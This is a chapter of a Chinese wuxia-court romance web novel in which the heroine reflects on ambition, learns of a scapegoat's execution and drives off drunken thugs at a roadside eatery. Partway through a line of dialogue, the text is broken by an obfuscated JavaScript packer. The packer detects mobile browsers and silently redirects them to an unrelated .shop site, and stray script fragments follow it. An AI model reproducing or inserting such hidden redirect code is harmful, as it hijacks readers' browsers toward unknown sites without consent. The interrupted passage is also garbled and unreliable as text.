文趣网 > 其他小说 > 铁袖红袂(权谋) > 29. 算一卦 街头上演古惑仔
    白衡一笑,眼神闪着魅惑的光,“你就不想算算事业什么的?”

    “谋事在人,成事在天。可我若非要成事,天也拦不了我。所以,不算。”

    李双凌一句话说得白衡心中一动,偏偏她自己表情云淡风轻,像是说了一句再寻常不过的话。

    “你想要成什么事?”

    李双凌歪歪头,不语。

    窗外风飘云移,日光如水洒入窗中,李双凌便沐浴在这日光中,微微偏着头,不知在想些什么。

    半晌她道:“我想要战胜一切的力量,我想要无限的生命,想要一个伟大的人生,想要千年以后,城楼,房屋,雕像,都淹没在滔滔河水之中,又从泥沙中探出一角的时候,街头巷尾的人们,依然能平平常谈论我的名字和我的事迹……我想要天高云阔,想要地广无垠,我更想要天地都在我怀抱,想要万物都在我掌握……”

    她说着,盯着自己的手掌,那里有一束光,她的手掌便似戏台一方,有灰尘在光束中起舞,窗外,树林与风在歌唱。

    她的眼中,起初是一种野心,是独独属于十几岁的少女的,也是每一位少女都曾拥有过的,那种蓬勃的野心。

    说着说着,那眼神逐渐变得落寞,语气也带了微微的叹息,道:“我想要的太多了……”

    “千里之行,始于足下。”白衡淡淡道。

    李双凌若有所思,缓缓行至窗边,望着远方风景,指尖碾过窗台尘灰。

    “是啊,千里之行始于足下……我的千古功绩,说不定可以从今日开始。”

    ***

    每次和白衡聊完,李双凌所思所感都颇多,可过后细想起来,白衡却好像什么都没说,倒引导她自己说了许多心里话。她来不及深思,下午的剑术课上,依旧是在校场内摸爬滚打,还受了教官的表扬。自从练了白衡给的心法之后,她对体内真气的运用更加游刃有余,为此她心中暗自欣喜,觉得武功一日比一日长进了。

    眼看日头一寸低过一寸,时间越接近傍晚,她就越心惊。焦虑着那位鬼面阎罗会派什么样的人来接她,接了她去肃王府又要做些什么事,想到最后,干脆不再去想——焦虑不是办法,该来的总会来。

    巧的是今日来了癸水,小腹隐隐作痛,没什么胃口,便决定离开无极营去德清堂的饭堂里觅食——不用担心黎琰找不到她,他不是很手眼通天么?自然有办法来寻她。

    于是走出无极营大院,刚走了不过百步,便听见一阵口哨响。

    李双凌闻声止步,四下望了望,却见不远处的深林里,一位书生打扮的男子正蹲在地上,悠闲地用口哨哼着调子。

    李双凌虚虚眼,立刻分辨出这男子是肃王府的人——寻常的书生,哪有这么精壮的身板?

    隔着衣服都能看出肌肉块儿,糊弄谁啊?

    何况他还牵着两匹马,很明显,其中一匹就是备给她的。

    她跟着“书生”一路进了城,却不是去肃王府的,而是在一个酒家旁边歇了马,书生道:“我家郎君现在没有空,让你先在这里等他。”

    李双凌促狭一笑,“怎么?每次换个新人,都得昭告天下么?”

    书生面无表情,貌似完全没有听不懂李双凌话语中的阴阳怪气,两只眼睛殷切地望着饭店里头。

    李双凌无奈地看着他,心中腹诽,该不会是他自己饿了吧?

    正是晚饭时段,饭店里爆满,两人便在路边外摆的摊位坐了下来,书生留下一吊钱,便走了开去。店小二先摆了二碟点心一壶茶水,李双凌自点了一菜一汤,坐在桌上等菜。

    等的过程中,却在眼观六路,耳听八方。

    人声鼎沸,大多是在讨论今日府衙公审,审的是肃王府聘礼遗失一案,镖师监守自盗,造成巨大损失,最后判的是个问斩。

    蹊跷的是,那个镖师的模样——脸上有疤,难辨容貌,连舌头都被烫过,咿咿呀呀连句完整的话都说不出来。

    有离的近的人说,堂上弥漫着一股浓重的熏香味道,可这浓烈的香味依然压不住一股血肉腥臭。

    不知是哪个倒霉蛋被抓来补这个缺的呢……

    李双凌指节青白,手中的筷子竟然在抖。

    不是害怕的发抖,而是因为握得太用力而抖动,李双凌面上浮出一种复杂的神情,说不清是自责,还是什么。

    ……她救下一个无辜之人,便有另一个无辜之人因此受过……一定要这样么?

    正在出神,忽然余光瞥见对面有人坐下。

    “我不拼桌。”李双凌不抬头,冷冷道。

    对面女子却似没听见,故意大着嗓门道:“姐姐,我终于找到你了……弟弟应该马上就来接我们了吧?”

    李双凌听得奇怪,正要说她找错人了,抬头一看,却看见面前是一位妙龄女子,神色惊惶,正在偷偷给她使眼色。李双凌不动声色往她身后一瞟,只见有几名满脸横肉的醉汉,正鬼鬼祟祟往这里张望着。

    很明显,这女子面容姣好又是孤身一人,走在路上,被这几个男流氓缠上了。

    李双凌心下了然,立刻道:“坐我身边。”

    女子立刻坐过来,李双凌状似亲密地挽住她胳膊,高声道:“妹子你放心,弟弟在店里沽酒,马上就来。”

    远处大汉一副吃瘪模样,女子看李双凌的目光中登时充满感激。

    李双凌把碗递给她,夹了一个江米条给她,“怎么回事?”

    “我今日去西郊办点事,没想到回来的时候就被这几个人搭讪,一路跟我到这里,怎么也甩不脱,真是吓死我了……”

    李双凌不语,盯着她暗中打量一圈,从她泛红的眼圈和颤抖的声音来看,应该没有说假话。

    “无妨,不要怕。”

    女子刚镇定几秒,忽然又似想到什么,担忧地道:“娘子你也是一个人吗?我看到你这里空着座位就过来了,不会连累娘子你吧?他们很不好惹……”

    “没事。”李双凌道,“你家住在哪?我

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17918686|213402||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    送你回去。”

    “我,我……”

    她吞吞吐吐半天不说自己住在哪里,李双凌正心生疑惑,却见对面女子眼睛往远处一瞟,突然惊呼一声。

    李双凌抬眼,看见那几名大汉耀武扬威走来,为首的一个口中骂道:“多管闲事的娘们,敢骗老子!你这桌子上就摆着一副碗筷,哪来的什么弟弟……”

    李双凌心中哎呀一声,哈,还真是,做戏没做全套。

    她不动声色,手腕一翻,杯中盏夺地一声飞出,直接打在为首之人的眼眶上。

    他被打得眼前一花,回过神来时已经眼冒金星,吃痛地捂着眼睛,跺脚大叫:“狗攮的!给我揍!揍这个多管闲事的……”

    周遭的食客们见了这个阵仗,自然避之不及,虽然也有想过来打抱不平的,却也不太敢——四五个五大三粗的汉子,还喝醉了,不知底细的,谁敢出头?

    中间有知道他们底细的,更加退避三舍了。

    为首的汉子,三十五六岁,脸上肥肉横生,一脸的凶恶相,正是本地地头蛇,冯志广。此人无甚本事,也没有正经营生,只靠着祖产度日,所以三十多岁还混迹街头,常常耍勇斗狠。幸运的是,因为他出手阔绰,这么多年来真的有了一帮兄弟——也都是跟他一样的人。这一帮人,无钱便混混日子,有钱便去快绿阁喝花酒,可谓是臭名远扬。

    眼看几人要冲过来,忽听店门口有人大喝:“要打出去打!别在我店里打!”

    掌柜一句话掷地有声,声如洪钟,气势如虹……

    然而,并没有什么用。

    因为没有人理他。

    食客们缩头缩脑躲进店内,小混混们张牙舞爪扑向两位女子,而两位女子,一个瑟瑟发抖泣涕涟涟,一个踩在长板凳上,一面做出迎敌的架势,一面眼睛向掌柜那边一瞥,喝道:“我这不本来就在店外嘛!”

    冯志广是个有心机的,看见李双凌像是个练家子,自己并不过来打,只是远远站着指挥:“抄她左边!打她右边!背后偷袭!前后夹击!”

    一帮小弟被他指挥得晕头转向,李双凌已经抄起板凳,当作长枪一般抡圆了一甩,将围上来的小混混们扫荡了个齐全。

    掌柜急得跳脚,又不敢招惹这帮地头蛇,只得向李双凌这看似很好惹的‘小’女子发难:“嘿,本店的外摆也算本店……这个杯要赔……这个板凳也要赔……”

    “赔赔赔,当然要赔。不过别找我赔,找他们赔去……”李双凌拍拍手上灰,拽着身边女子飞身上马,鞭子一扬,一溜烟儿地跑了。

    冯志广看看躺了一地的小弟,又看看一脸怨念的掌柜,道:“赔钱?那是快绿阁的眉儿,忽悠着我给她交了赎身银子,结果又不跟我过!我没找她赔钱就不错了,还敢找我赔钱!没钱!滚!”

    掌柜望望李双凌背影,又望望理直气壮的冯志广,望望天,望望地,发出一声绝望的哀嚎:

    “这个地方的治安到底有没有人管一管啊……!!”